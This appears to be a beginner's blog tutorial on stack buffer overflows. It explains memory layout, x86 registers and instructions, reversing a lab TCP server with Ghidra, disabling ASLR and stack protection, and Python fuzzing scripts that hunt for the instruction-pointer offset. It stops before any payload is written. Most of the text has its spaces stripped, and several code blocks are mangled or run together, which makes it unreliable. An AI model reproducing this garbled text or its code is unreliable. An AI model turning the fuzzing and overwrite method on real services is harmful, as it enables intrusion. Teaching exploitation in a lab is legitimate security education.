Client-SideCodeCodeExampledefconvert(message)raw=raw+=structpack(ltIlen(message))raw+=messagereturnrawWhyisthisimportantWhatpointdoesthisillustrateMyhumbleopinionisthattheapplicationmaybeexpectingaveryparticularsetofstringsbeforeprocessinganydatainthebufferitselfForexamplemaybethesocketyourcommunicatingisexpectingsomesortofpreamble2byteflagsorevenasimpleldquoHellordquoprefixMorerealisticallytheclientcouldsendsometypeofuniqueOSflagClientVersionFlagHelloorwhoknowswhatInthiscasethereisanexpectationthatthefirst4byteswillincludethelengthoftheclientpayloadThelengthoftheclientpayloadisofcoursecalculatedbythepythonclientAdnthatrsquosjustaweirdnuanceofthiscodeandprobablynoothercodeSoifyoutrytoconnectdirectlytothesocketandthrowaldquoBunchofArsquosrdquoatthelistenermaybetheldquoAsrdquowillgettothenextfunctionfortheoverflowORmaybetheldquoArsquosrdquowonrsquotevenmakeitbecauseofsomemissingpre-fixlogicstuffthatisuniquetotheapplicationExampleofOverflowcrashusingPrefix

InthiscasewewereluckyandourldquoArsquosrdquoorldquox41rdquomadeitthroughandoverwrotetheinstructionpointerThismaynotmeanmuchtothosenewtotheBufferOverflowconceptbutdonrsquotworrybecausethepointisldquothehackworkedrdquobecauseweknewtheservicewasexpectinga4byteofprefixThemoreyouunderstandwhattheapplicationexpectsthemorelikelyyouaregettingintodeeperpartsinthecode Nowletrsquostakealookatblindlyfuzzingwithoutunderstandingtheclient-serversourcecode

ExampleofOverflowusingBlindNecatTelnetpayloadwithoutthePrefix

WhathappenedhereItwouldappearthatwesentthesamenumberofldquoArsquosrdquototheprogrambutweexitednormallyanddidnotreceiveasegmentationfaultattheinstructionpointerWhyWellwithoutknowingthesourcecodewecanrsquotreallysayAlthowecanguessthatwithouttheldquoPrefixrdquobytesthenwearenotover-writingthestackenoughandneedmoreldquoArsquosrdquoAlsolookhowtheldquoWillReadrdquoandldquoReadrdquoseemstobeallwhackyandnotmakemuchsensePreviouslytheclientpyscriptsentthestringldquo1050rdquointhemessageandtheservertolduswesent1050bytesbutonlybecauseldquo1050rdquostringwasprefixedontothemessageviatheclientSincethenetcatcommanddoesnrsquothavethatlogictheldquoprefixrdquoismissingandourserversidecodedoesnrsquotknowwhattodoThiscouldresultinsomelogicfailureearlyinthesourcecodekeepingyoufromfeedingthoseldquoArsquosrdquointoavulnerablefunctionthathidesdeeperinthestackwaitingforajuicy0-day(-

ReversingCompiledBinariesInthecaseoftheexampleclientpywegetluckyandcansimplyreverseengineerthepythonsourcecodeIfweweredealingwithacompiledclientbinarythenIrsquodsaystartwithldquofilerdquoandldquostringsrdquocommandandthenmoveontode-compliationLetrsquostryfileandstringsonourserversidecompiledcodejustforkicks

WecanseeitsacompiledELFbinarythepre-processordirectivebeingusedandlaterinthestdoutofstringcommandwecanseethestringtheprintfgivesusRememberifweonlyhadthecompiledbinariestoworkwiththensuccessfullyfuzzingthisapplicationmaygiveusproblemsbecauseoftheunknownldquoprefixrdquothatisappendedtotheclientpymessageSohowdowefigurethisoutifwedonthaveaccesstothesource-codeNSAGHIDRAtotheRescueOurfriendsattheNSArecentlyannouncedwhatIconsideraprettykickasstoolGHIDRAToquotedirectlyfromWIKIldquoGhidraisafreeandopensourcereverseengineeringtooldevelopedbytheNationalSecurityAgency(NSA)ThebinarieswerereleasedatRSAConferenceinMarch2019thesourceswerepublishedonemonthlateronGitHubGhidraisseenbymanysecurityresearchersasacompetitortoIDAProandJEBDecompilerrdquo

LetrsquossayonewayoranotherwegetourhandsonsomecompiledclientorserverbinariesandneedtodoadeepdivemaybetodevelopourownmyintelligentfuzzerWhatmightthatlooklikeDownloadtheGhidrasourcecompileandrunThensimplyimportyourbinaryThatrsquosit

YoursquollwanttousetheldquoCodeBrowserrdquointheGHIDRAtoolchestFromthereimportyourcompiledbinaryGhidrawilldothede-compilationmagicforyoufromthereAsillustratedbelowIrsquovepulledupthecompiledvulnServerCassemblycodeandGhidarsquosguessatthede-compiledfunctionsourcecodeThesourcecodewonrsquotmatchexactlybutyouwillbeabletoviewthefunctionandthelogicwhichwillallowyoutofindinsecurefunctionsandcustomfunctionsthatcreatesimilarproblems

WhatdoesallthismeanWellIbasicallywentthrougheachfunctionlookingforanyargumentthatmightbeinterestingIfyounoticedIrsquovehighlightedthex86op-codeatmemorylocation0x001012dwhichinvokesaCALLtoREAD()andsomesubsequentMOVrsquoswhicharelikelyaddingnewthe4BytestosomememorylocationThecorrespondingCcodeforthatassemblyissograciouslypositionedtotherightofourassemblyinstructionsLetrsquoslearnalittlebitabouttheREAD()functioninC

ssize_tread(intfsvoidbufsize_tN)ldquoFromthefileindicatedbythefiledescriptorfstheread()functionreadsNbytesofinputintothememoryareaindicatedbybufrdquoSotheprogrammerherewrotethisapplicationtoonlyreadthefirst4bytesofsomethingReadingfurtherintothedecompiledsourceweprintfthattellsuswerereadingtheldquoMessagerdquoakathepayloadorclientissendingSowersquorereadingthefirst4bytesoftheclientpayloadandstoringitintoavariablethatisthenbeingprintedbacktousinthevulnerableServerwhichprintsitrsquosldquoValuerdquoakanumberofBytes

Itlookslikethisisa4byteldquopre-fixrdquowhichisbasicallytheLEN(PAYLOAD)sentfromtheclientYoucanvalidatethisbelookingbackatthepythonclientcode

FormetheimportanttakeawaygoesbacktothatquoteearlierldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfwewereinadifferentsituationandwehadtowriteourownPythonfuzzingclientfromscratchwenowknowwhattheserverisexpectingfromtheclientFromherewecanreverseengineerourownfuzzingclientinwhateverlanguageyouwantWhenIfirstlearnedbufferoverflowsitwaswithwellknownvulnerableserversandtheldquoclientrequestrdquomessagewaswelldocumentedTherealityisthatdeeperstaticcodeanalysisisgenerallyrequiredforbufferoverflowsresearch

CrashingtheStackFinallyrightitrsquosalongstrangetripSo

WehavesomebasicskillsinC WehaveavulnerableCserverlisteningonthelocalnetwork WehaveeitheracustomorgenericclientforcommunicationtotheVulnerableServer WeunderstandweneedtoFuzztheprogramsarguments

Weusedsometoolstoreverseengineercompiledbinariesincaseweneedtogetcreativewiththefuzzypayload

Asaself-taughttechnologistoneofthemostdifficultareasIstruggledwithwasunderstandingwhatwasgoingonunderthehoodIstartedmyldquoTechyrdquojourneywritingJavaSCriptandHTMLbecauseitwaseasyandIcouldgetimmediatevisualfeedbackviachangesinthebrowserWorkingdownthestackintoCprogramingandx86x64LinuxandWindowsarchitectureswasandstillisnoteasyEitherWaylearninglowleveldebuggingisnecessaryWhatrsquosabufferldquoAbufferissimplyacontiguousblockofcomputermemorythatholdsmultipleinstancesofthesamedatatypeCprogrammersnormallyassociatewiththewordbufferarraysMostcommonlycharacterarraysArrayslikeallvariablesinCcanbedeclaredeitherstaticordynamicStaticvariablesareallocatedatloadtimeonthedatasegmentDynamicvariablesareallocatedatruntimeonthestackTooverflowistofloworfilloverthetopbrimsorboundsWewillconcernourselvesonlywiththeoverflowofdynamicbuffersotherwiseknownasstackbasedbufferoverflowsrdquo-SmashingtheStackbyAlephOneMostconfusingtomewashowthestackrelatesbacktoBufferandhowtheassemblylanguagefitsintothepuzzleSomeself-pacedlabshadmebreakopenadebuggertothesightofthishellip

TheScarydebuggerUI

IpersonallydecidedtogetofftheUIdebuggerbecauseitldquohadtoomanywindowsrdquoatthetimeLaterinthispaperIflipbacktotheUIbecauseitmadememorydumpseasytovisualizeWewillstartwithlinuxGDBintheterminalJustseemedalotcleanerviewandteachesyoumoreabouttheGUIversionAlthoughlearningtheterminalcommandstakemoretimethanclickingawindowtheyarebestforbeginners

NativeEDBinTerminal

OkaysoIputthesepicturesfirsttoputthebigbadscaryscreenswithldquoTheMatrixrdquofontoutofthewayHonestlyitrsquosnotthatbadIrsquovesynthesizedmynotesdowntoafewimportantthingsUnderstandtheBasicsofMemoryManagementIfoundanarticlethatbrokedownthebasicsofmemoryandthestackinawaythatreallyhelpedputthepiecestogetherAsanyonemovespastbasicNOPsledsintomoreadvancedexploitwritingthefollowingnotesareabsolutelycriticalFlipbackandforthbetweenthedefinitionsandtheimagesafewtimes

1 CommandlineargumentsandenvironmentvariablesTheargumentspassedtoaprogrambeforerunningandtheenvironmentvariablesarestoredinthehighmemoryaddresssection

2 StackThisistheplacewhereallthefunctionparametersreturnaddressesandthelocalvariablesofthefunctionarestoredItrsquosaLIFOstructureItgrowsdownwardinmemory(fromhigheraddressspacetoloweraddressspace)asnewfunctioncallsaremadeWewillexaminethestackinmoredetaillater

3 HeapAllthedynamicallyallocatedmemoryresideshereWheneverweusemalloctogetmemorydynamicallyitisallocatedfromtheheapTheheapgrowsupwardsinmemory(fromlowertohighermemoryaddresses)asmoreandmorememoryisrequired

4 Uninitializeddata(BssSegment)AlltheuninitializeddataisstoredhereThisconsistsofallglobalandstaticvariableswhicharenotinitializedbytheprogrammerThekernelinitializesthemtoarithmetic0bydefault

5 Initializeddata(DataSegment)AlltheinitializeddataisstoredhereThisconstistsofallglobalandstaticvariableswhichareinitialisedbytheprogrammer

6 TextThisisthesectionwheretheexecutablecodeisstoredTheloaderloadsinstructionsfromhereandexecutesthemItisoftenreadonly

MemoryArchitecture

RegistersampldquoTheStackrdquohellipakascarystuffYoulikelyalreadyknowthatcomputerprocessoroperationsmostlyinvolveprocessingdatathatyouprovideitHowevertoprocessyourdatathecomputerneedstostoredataandaccessitDatacanbestoredondiskstoredinmemoryorstoredinCPUmemoryforexampleHoweverreadingdatadiskfromRAMandalltheIOassociatedwithgettingdataintomemoryslowsdowntheprocessingAlltheoperationstomovedataroundbasicallyinvolvescomplicatedprocessesofsendingthedatarequestacrossthecomputerrsquoscontrolbusandintothememorystorageunit(MSU)andgettingthedatathroughthesamechannelTospeeduptheprocessoroperationstheprocessorisbuiltwithsomeinternalmemorystoragelocationscalledregistersRegistersstoredynamicvariablesoperationstoperformcalculationsandinstructionstotelltheCPUwhattodonextThisisldquoTheStackrdquoldquoTheregistersstoredataelementsforprocessingwithouthavingtoaccessthememoryAlimitednumberofregistersarebuiltintotheprocessorchiprdquoBasicallyregistersarewhereyouputimportantstuffthatneedstobeprocessedbytheCPUWhatdoesthatmeanAddingsubtractingorwhateveryouneedtodotocreateordisplayldquostuffrdquoinyourprogramLetrsquosdigintothemessy

detailsitwontbefunnyyoursquollneedtore-readandafterreadingafewtimesdonrsquotbeafraidthatyoudonrsquotrememberitallJustbustopenadebuggerandstarttinkeringaroundProcessorRegistersWersquoregoingtofocuson32bitoperatingsystemThereareten32-bitandsix16-bitprocessorregistersinIA-32architectureTheregistersaregroupedintothreecategoriesminus

Generalregisters Controlregisters Segmentregisters

Thegeneralregistersarefurtherdividedintothefollowinggroups

Dataregisters Pointerregisters Indexregisters DataRegisters

DataRegistersFour32-bitdataregistersareusedforarithmeticlogicalandotheroperationsThese32-bitregisterscanbeusedinthreewaysRememberXfordataregardlessof32or64bit

1) Ascomplete32-bitdataregistersEAXEBXECXEDX2) Lowerhalvesofthe32-bitregisterscanbeusedasfour16-bitdataregistersAXBXCXandDX3) Lowerandhigherhalvesoftheabove-mentionedfour16-bitregisterscanbeusedaseight8-bitdataregisters

AHALBHBLCHCLDHandDL

Someofthesedataregistershavespecificuseinarithmeticaloperations

AX is the primary accumulator it is used in inputoutput and most arithmetic instructions For example in

multiplicationoperationoneoperandisstoredinEAXorAXorALregisteraccordingtothesizeoftheoperand

BXisknownasthebaseregisterasitcouldbeusedinindexedaddressing

CXisknownasthecountregisterastheECXCXregistersstoretheloopcountiniterativeoperations

DX is known as the data register It is also used in inputoutput operations It is also used with AX register along with

DXformultiplyanddivideoperationsinvolvinglargevalues

PointRegisters(IPissuperimportantreadaboutitoverandoveragain)The pointer registers are 32-bit EIP ESP and EBP registers and corresponding 16-bit right portions IP SP and BP

Therearethreecategoriesofpointerregisters

Instruction Pointer (IP) minus The 16-bit IP register stores the offset address of the next instruction to be

executed IP in association with the CS register (as CSIP) gives the complete address of the current

instruction in the code segment NOTES IP will control the next instruction executed hellip like say our

malware

Stack Pointer (SP) minus The 16-bit SP register provides the offset value within the program stack SP in

association with the SS register (SSSP) refers to be current position of data or address within the program

stack NOTES Might give you a reference point to look higher in memory to find our malware in

bufferNOPsledaddresses

Base Pointer (BP) minus The 16-bit BP register mainly helps in referencing the parameter variables passed to a

subroutine The address in SS register is combined with the offset in BP to get the location of the parameter

BP can also be combined with DI and SI as base register for special addressing NOTES Base pointer

tracks the memory location between your Dynamic Variables and registers and your buffer etc BP

isagoodreferencepointforfindingsmemorylocationsupintoregistersordownintoyourbuffer

Therersquos also a lot of talk about assembly At first glance when assembly is in the debugger it looks really complicated

and scary Quite frankly I still havent mastered it but while you learn there are a few core concepts and operational

codestostartwiththatmostoverflowstutorialsseemtoincludehellip

Irsquom going to list what might seem like some scary and complicated stuff but read it and then look at the pictures

following it then go back and reread this section againhellipIf youre not ready jump into the picture directly at the end

andcomebacktoreading

ControlFlowInstructions

The x86 processor maintains an instruction pointer (IP) register that is a 32-bit value indicating the location in memory where the

currentinstructionstarts

Normally it increments to point to the next instruction in memory begins after execution an instruction The IP register cannot be

manipulateddirectly(Butitcanbeoverwritten)butisupdatedimplicitlybyprovidedcontrolflowinstructions

We use the notation ltlabelgt to refer to labeled locations in the program text Labels can be inserted anywhere in x86 assembly code

textbyenteringalabelnamefollowedbyacolonForexample

movesi[ebp+8]

beginxorecxecx

moveax[esi]

The second instruction in this code fragment is labeled begin Elsewhere in the code we can refer to the memory location that this

instruction is located at in memory using the more convenient symbolic name begin This label is just a convenient way of expressing

thelocationinsteadofits32-bitvalue

jmpmdashJump

Transfers program control flow to the instruction at the memory location indicated by the operand You might use this to ldquoJumprdquo into

amemorylocationthatishostingthemalware

Syntax

jmpltlabelgt

Example

jmpbeginmdashJumptotheinstructionlabeledbegin

callretmdashSubroutinecallandreturn

These instructions implement a subroutine call and return The call instruction first pushes the current code location onto the

hardware supported stack in memory (see the push instruction for details) and then performs an unconditional jump to the code

location indicated by the label operand Unlike the simple jump instructions the call instruction saves the location to return to when

thesubroutinecompletes

The ret instruction implements a subroutine return mechanism This instruction first pops a code location off the hardware supported

in-memory stack (see the pop instruction for details) It then performs an unconditional jump to the retrieved code location A series of

instructionsthatendinRETareoftenchainedtogethertobypassstackprotectionswhichyouwillfindoutlater

Syntax

callltlabelgt

ret

DataMovementInstructions

movmdashMove(Opcodes88898A8B8C8E)

The mov instruction copies the data item referred to by its second operand (ie register contents memory contents or a constant value)

into the location referred to by its first operand (ie a register or memory) While register-to-register moves are possible direct

memory-to-memory moves are not In cases where memory transfers are desired the source memory contents must first be loaded

intoaregisterthencanbestoredtothedestinationmemoryaddress

Syntax

movltreggtltreggt

movltreggtltmemgt

movltmemgtltreggt

movltreggtltconstgt

movltmemgtltconstgt

Examples

moveaxebxmdashcopythevalueinebxintoeax

movbyteptr[var]5mdashstorethevalue5intothebyteatlocationvar

pushmdashPushstack(OpcodesFF898A8B8C8E)

The push instruction places its operand onto the top of the hardware supported stack in memory Specifically push first decrements

ESP by 4 then places its operand into the contents of the 32-bit location at address [ESP] ESP (the stack pointer) is decremented by

pushsincethex86stackgrowsdown-iethestackgrowsfromhighaddressestoloweraddresses

Syntax

pushltreg32gt

pushltmemgt

pushltcon32gt

Examples

pusheaxmdashpusheaxonthestack

push[var]mdashpushthe4bytesataddressvarontothestack

popmdashPopstack

The pop instruction removes the 4-byte data element from the top of the hardware-supported stack into the specified operand (ie

register or memory location) It first moves the 4 bytes located at memory location [SP] into the specified register or memory location

andthenincrementsSPby4

Syntax

popltreg32gt

popltmemgt

Examples

popedimdashpopthetopelementofthestackintoEDI

pop[ebx]mdashpopthetopelementofthestackintomemoryatthefourbytesstartingatlocationEBX

leamdashLoadeffectiveaddress

The lea instruction places the address specified by its second operand into the register specified by its first operand Note the

contents of the memory location are not loaded only the effective address is computed and placed into the register This is useful for

obtainingapointerintoamemoryregion

Syntax

lealtreg32gtltmemgt

Examples

leaedi[ebx+4esi]mdashthequantityEBX+4ESIisplacedinEDI

leaeax[var]mdashthevalueinvarisplacedinEAX

leaeax[val]mdashthevaluevalisplacedinEAX

In this write up and many blogs yoursquoll pay close attention to IP ESP and JMP in the vulnerable program However the other assembly

commands are good for understanding generally how higher level code gets executed and for other potential overflow techniques So

letrsquos summarize all this into a simple picture I found this while watching a Youtube video by ComputerPhile I thought it summarized

everythingquitenicely

On the left hand side you have the storage location we discussed previously For example you have you ldquoStackrdquo and ldquoHeaprdquo called out

The right hand of this picture basically breaking down the stack into some of the locations that get put into the stack Say a math

function parameters (ie your dynamic variables in code) your return address or Instruction Pointer IP etc etc Okay so to a noob

maybethisdoesntmeanalotsoletrsquosmoveontosomemorevisualexamplesfirstbeforewetalkaboutanymoreldquocoderdquo

SowehaveabufferandsomeotherCPUbasedmemoryspacesforthoseregisterslocationsAllthatassemblycodeishelpingusadd

thingsintotheregistrylocationjumptonewfunctionsincodetakethingsoutanddomathematicaloperationsforyourfunctionsinthe

higherlevelcode

IfyoureadalongotherpartsoftheregistryareusedforstoringpointerstothenextfunctionprogramordatainourbufferetcInthis

pictureifyousendldquoToomuchdatardquototheprogramandyourprogramhasnoboundscheckingthenthebuffercanoverflowyour

instructionpointerIfyoucanoverwriteaninstructionpointer(akaIPEIP)withthememorylocationofyourmalwarethenyoucantrick

theprogramintoexecutingyourmalwarewiththeprogramspermissions

OverflowtheBufferCrashintotheStackWriteaReturnAddressintoEIPthatpointsbacktoyourmalware

LetrsquosbreakdownthevulnerableservercodeinAssemblytobetterunderstandwhatrsquoshappeningwhenwefuzztheapplicationand

overflowwithabunchofArsquosandBrsquosTypeobjdump-dVulnerableServer

1 TheaddressofvulnReadstartsatmemoryaddress78dinhex

2 x414inhexor1044indecimalbytesarereservedforthelocalvariablesBecauseofincludeBUFFER_SIZE=1024alarge

isallocatedasalocalvariable

791 81ec14040000 sub$0x414esp

3 Theaddressofthebufferstarts0x410inhexor1040indecimalbytesfrombase-pointerebpThismeansthat1040bytesare

reservedforbufferbutrememberthatBUFFER_SIZE=1024

8d85f0fbffff lea-0x410(ebp)eax

4 Memorylocationsseemtobeaddingandsubtractingbasedonspaceneededtostoredifferentoperationsandmemory

locationsUntilfinally

5 Later-0x40c(ebp)eaxor1036arereservedandatmemorylocation7e6weseeacallto550ltreadpltgt

defineBUFFER_SIZE1024

defineHEADER_SIZE4

EIP(ReturnAddresstonextfunction)

EBPofVuln_Read(BasePointer)

to_read

buffer

read_bytes

Lastvariable(StackPointer)

So1040byteofmemorywasallocatedandthestackgrowsdownfromEBPSomeassemblyoperationsoccurandvariablesarestored

andpointersandupdatedandthememorygrowsandshrinksWithoutbeinganassemblygeniusweseethespecificfunction

(readplt)withthevulnerabilitycalledandcaninferthatthebufferallocationbeforethatisusedforthefunctioncallInthiscase1036

availablebytesLetrsquosbreakthatdown

1036bytesforthebuffer+4bytesforEBP+4bytesforEIP(InstructionPointer)

AnotherimportantpieceofthepuzzleistoldquoFindrdquothecodethatyoujustputintothebufferInourexamplethatwillbeabunchofArsquos

thatweuseduringfuzzingHoweverasweprogresstheArsquoswillgetreplacedwithmalwarebecauseabunchofArsquosarentthatuseful

outsidethecontextoflearning

Afterwefindthecodewewanttobesurethatthecomputerwillldquomove-alongrdquountilitgetstowhateverdataweputintothebufferThe

reasonforthisisbecauseknowingldquoexactlyrdquowherethecomputerputsourArsquosBrsquosandCrsquosishardWemightoverwriteallthoseldquoArsquosrdquo

ldquoBrsquosrdquoandldquoCrsquosrdquobutfindingtheexactmemorylocationthecomputerdecidestoputtheminisnotalwaysviablebecausememory

locationsmovearoundabitPluswewanttomakesurethatthecomputerdoesnrsquotexitorterminateexecutionbeforeitgetstotheBrsquosor

laterourldquomalwarerdquo

Themostbasictechniquetoaddressthisiswithx90NOP(nooperation)WereplaceourArsquos(x41)withx90andthattellsthe

computertojustldquomovealongrdquountilyougettothenextinstructionAsanoobitgivesusabiglandingpadtofindLookbelowatthe

pictureaboveandyoursquollseeanarrowthatpointsbacktotheldquoBufferrdquowithabunchofx90sThismeanswewillputaninstructioninto

IPEIPthatreturnsthecomputerbacktothebufferandtheRETURNwilllandintoabunchofNOPSandthenslidedownintotheBrsquosin

ourprogram

Thefollowingtwopicturesreallyputeverythingintoperspectiveformeignorethebuffersizenumbers

EnoughtheoryshowmeTheCode

DisablingDEPASLR

YoumustdisableASLRandDEPonalabmachinetolearnthebasicbufferoverflow

ASLR-Linux

echo0|sudoteeprocsyskernelrandomize_va_spaceDEPPassedascommandlineargumentinMakefileoratgcccommandline

-fstack-protector-Waexecstack

Onax86linuxarchitecturewithDEPASLRdisabledhellipLetrsquosgiveitashotfirstwersquollrunthevulnerableserverPoCwithinGDB

compilesthevulnerableCprogramwithanumberofprotectionsremovedDisabling-fstack-protectorremovessomemodernprotectionagainstoverwritingtheinstructionpointerLetrsquosdeferuntillaterexecstackwillmarkbinaryorsharedlibraryasrequiringexecutablestackMakefileallor

gcc-gvulnServerc-fno-stack-protector-z-Waexecstack-oServergdbServer1337

OkaysothevulnerableTCPserverisloadedintoGDBGDBisadebuggertogiveasaccessintothememoryregistersassemblyetcetcIfyourefamiliarwithwebdevelopmentlikeIwastheconceptofsettingbreakpointsatdifferentmomentsinthecodewasveryfamiliarItseemsintimidatingbutareallygoodcheatsheetishere

GDBCheatSheet

httpswwwcheatographycomfristlecheat-sheetsclosed-source-debugging-with-gdbFromtheterminaltype

run1337

NowitrsquostimetoldquoFuzzrdquoWealreadywentthroughsometheoryandrationalebeforebutitwasnrsquotdescribedinandend-to-endtypeofcontextArefresherhellipldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfyourememberIprovidedsomesimplecommandstoillustratetheexampleForthisapplicationwecandoitcompletelyhandsonpython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]Sowecouldapproachthisacoupleofways

1 Gobackintothereversedengineeredbinariesandtrytodeterminewhatourbuffersizeisthroughthesourcecodeandassembly

2 RuntheprogramthroughthrewGDBandsetbreakpointsandfindops-codethatindicateBUFFERvariablesize3 Writeaniterativefuzzingscripttofindtheoverflowpoint

WritingthefuzzingscriptwasthebestlearningexerciseformeSowersquoregoingtocoverthatherequicklyLetrsquosstartwithgeneratingabunchofdatawiththecommandbelowIrsquomgoingtojustincreasethenumberofAsby10threetimes Examplepython-cprintx41overflowpython-cprintx4110python-cprintx4120python-cprintx4130

AllwersquoredoingiscreatingabunchofArsquosWedothisbecausewedonrsquotknowthemagicnumberofbyteswhereourattackpayloadwillresultinanoverflowThatrsquosthefuzzWewillneedtomodifythebasicpythonfuzzingexampletofittheuniqueldquopre-fixrdquothatisbuiltintothevulnerableserverlogicWewillreusetheBLACKpartsofthecodeslogicbelowandcopyintotheclientpyscriptusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30

bufferappend(Acounter)counter=counter+200

forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((101110167110))srecv(1024)ssend(USERtestrn)srecv(1024)

ssend(PASS+string+rn)ssend(QUITrn)sclose()FirstletrsquoscreatecopyoftheoriginalclientsourcecodecpclientpyclientPoCpyNowletrsquosmakethefollowingchangestoclientPoCpyhellip usrbinpythonimportsocketimportstructimportsysiflen(sysargv)=2printUsage+sysargv[0]+[port]sysexit(1)

MESSAGE=Awhilelen(MESSAGE)lt=1000000mayneedtobeincreasedbasedonyourtargetbuffersize

DEST_IP=127001hostyourvulnProgramsislisteningonDEST_PORT=int(sysargv[1])counter=100

MESSAGE+=(Acounter)increasingthefuzzpayloadofAscounter=counter+100100hereisarbitrarysmallerwillbemoreaccuratebuttakelonger

print(lengthoffuzzoverflowis)print(len(MESSAGE))Foreducationalpurposes

forstringinMESSAGE

defconvert(MESSAGE)raw=raw+=structpack(ltIlen(MESSAGE))Serverexpectsapre-fixtellingyouthebuffersizeraw+=MESSAGEreturnraw

print(convert(MESSAGE))testpurposess=socketsocket(socketAF_INETsocketSOCK_STREAM)sconnect((DEST_IPDEST_PORT))ssend(convert(MESSAGE))data=srecv(1024)

sclose()printReceiveddatadataLetrsquosrunthepythonclientpyscriptandthevulnerableCtcpserverWersquollseethatthepythonscriptwillactasexpectedandbeginiteratingthroughthewhileloopandincreasingthenumberofArsquosIrsquoveincludedaprint()soyoucanwatchtheArsquosgrowastheclientrunsIfyouruntheclientterminalandtheserverterminalsidebysideyoursquollbeabletocomparetheclientpayloadbeingsenttothepayloadbeingreceivedbythevulnerabletcpserver

HopefullyyouruntheattackagainstyoursquorevulnerabletcpserverwhileinEDBmodeYoursquollnoticeaSIGSEGVerroratbytelengthof1101ASIGSEV(segmentationfault)oraccessviolationisafaultorfailureconditionistypicallyraisedbyhardwareasamemoryprotectionmechanismwhenyourprogramattemptstoaccessamemorylocationthateitherdoesnotexistorthatyourprogramisnotallowedtoaccessInthiscaseweoverwroteourEIP(instructionpointer)withamemorylocationof0x4141414orinotherwordsfourArsquos

ThenextpartiscriticalandIoverlookeditthefirstfewtimesIwastryingtounderstandhowthestackbufferrelatestotheregistersAt1101bytestheprogramcrashesHoweverwedonrsquotknowhowfarintotheregisterwewroteourArsquosBecausethisisopensourcecodeweknowthatthebufferwas1024bytesandwewroteout1101bytessoitrsquoslikelyweoverwrite77bytesworthofspaceoverourregisters

WhydowecareWewanttomodifyourinstructionpointerorEIPinx86IfwecanpreciselyoverwriteEIPwiththememorylocationofourprogramthenwecantricktheCPUintoexecutingourmaliciouscodeToillustrateIdrewanXthroughthereturnarraybackintoourbeforebecauseweonlyhaveabunchofArsquosinthereLetrsquossaywewanttowrite4Brsquosinthe4bytespaceinthereturnpointerTheBrsquos(x42)arearbitraryandonlyusedtoillustratethepointIfwewanttowriteBrsquostoaspecificregisterthenweneedtofigureouttheexactnumberofbytestostopwritingArsquosandstartwritingBrsquosManualbinarytreeanalysisisthebestforabeginnerinmyopinionMainlybecauseyoursquollneedtomanuallyworkyourwaythroughthebytesizelengthsmakingeducatedguesseswhileatthesametimelookingattheregistersandldquovisualizingrdquohowitallworks

Soifwehaveacrashatletrsquossay1100WecansplitthenumberofArsquosandBrsquosinto550Doingthismanuallyjustforkickspython-cprintx41550+x42550

Letrsquosusetheoriginalclientpy(notthefuzzer)andreplacetheldquoHELLOrdquomessagewithournewbufferwejustcreatedRestartthevulnerabletcpapplicationinGDBandruntheclientpywithourAandBrsquosbufferPuttingtheapplicationside-by-sideweseethat1100byteweresenthalfAsandhalfBrsquosHoweverthistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithBrsquos(x42)

LetrsquostakeourfirstlookintotheregisterstoseewhatrsquosgoingonTypeldquoinfoall-registersrdquo

EachtimeyourunthroughthebinarytreecreatenewbuffermakesureyoulookintotheregistersTheoutputshowsusthatouroverflowisinourBrsquosbecauseweseex42hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway(-8Nowweneedtogofartherdownthebinarytreetofindtheexactlocationtowriteonly4bytesofBs(x42s)SowersquollmodifyourbuffertoincludesomeCrsquosWersquolldivide11003=andapproximate366+366+368python-cprintx41366+x42366+x43368

LetrsquosupdatetheoriginalclientpyscriptagainwithournewbufferandruntheattackagainstthevulnerableserverintheEDBBythewayIfoundVIMtobefarsuperiorforreplacinglargebuffersizewordsallatonceandnavigatingbackandforthtothebeginningandendofline(-8hellipafterfatthumbingitafewtimesweplacetheclientandtheserverside-by-sideandobservewhathappened

ThistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithCrsquos(x43)TheoutputshowsusthatouroverflowisinourCrsquosbecauseweseex43hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway

WecansaytheresultsofthismakesensebecausewehavethesourcecodeWeknowthatthebufferisallocated1024bytesasapre-processorinstructionAtthispointourArsquosandBrsquosonlyequalatotalof366+366=732bytesNotenoughtooverflowthe1024butanother386isenoughtocrashintothestackrsquosregistersLetrsquoskeepgoingWersquolldividetheCrsquosupnextupdateourclientbufferandretesttheprograminEDBpython-cprintx41366+x42366+x43184+x44184ThistimeweseethefaultoccursintheDrsquoswichmeanswearegettingverycloseSincewersquoreontherighttrackandknowweneedtogetdownintoonly4bytesletrsquosbreaktheDrsquosdownfurther

python-cprintx41366+x42366+x43184+x4462+x4562+x4662

AtthispointIrsquomgettingtiredandthisisgettingoldbutweknowtheoverflowissomewhereinthelast62bytesSoletrsquospauseandaskourselveshowcouldwehavedonethisfasterWerememberouriteratorinthefuzzerTherewasareasonwhyIprintedthebytesizelengthtoscreenLetrsquosgobacktoapictureofourfuzzer

Sobetween1000and1100theoverflowoccursForfastresultswecouldrepeatthebinarytreeanalysiswhereonthelast100byteshellip

python-cprintx411000+x4225+x4325+x4425+x4525

That was much faster In one run we already know that the overflow falls somewhere within the Crsquos or x43s That could be anywhere

up to 1050 bytes This makes sense because we know our buffer is 1024 and we have an idea that there are some other registers that

mightgetoverwrittenbeforeourcodemakesitrsquoswaytotheinstructionpointerLetrsquosbreakdownthose25Crsquosinto8Crsquos8Drsquos9Ersquos

python-cprintx411000+x4225+x438+x448+x459

Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers

are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens

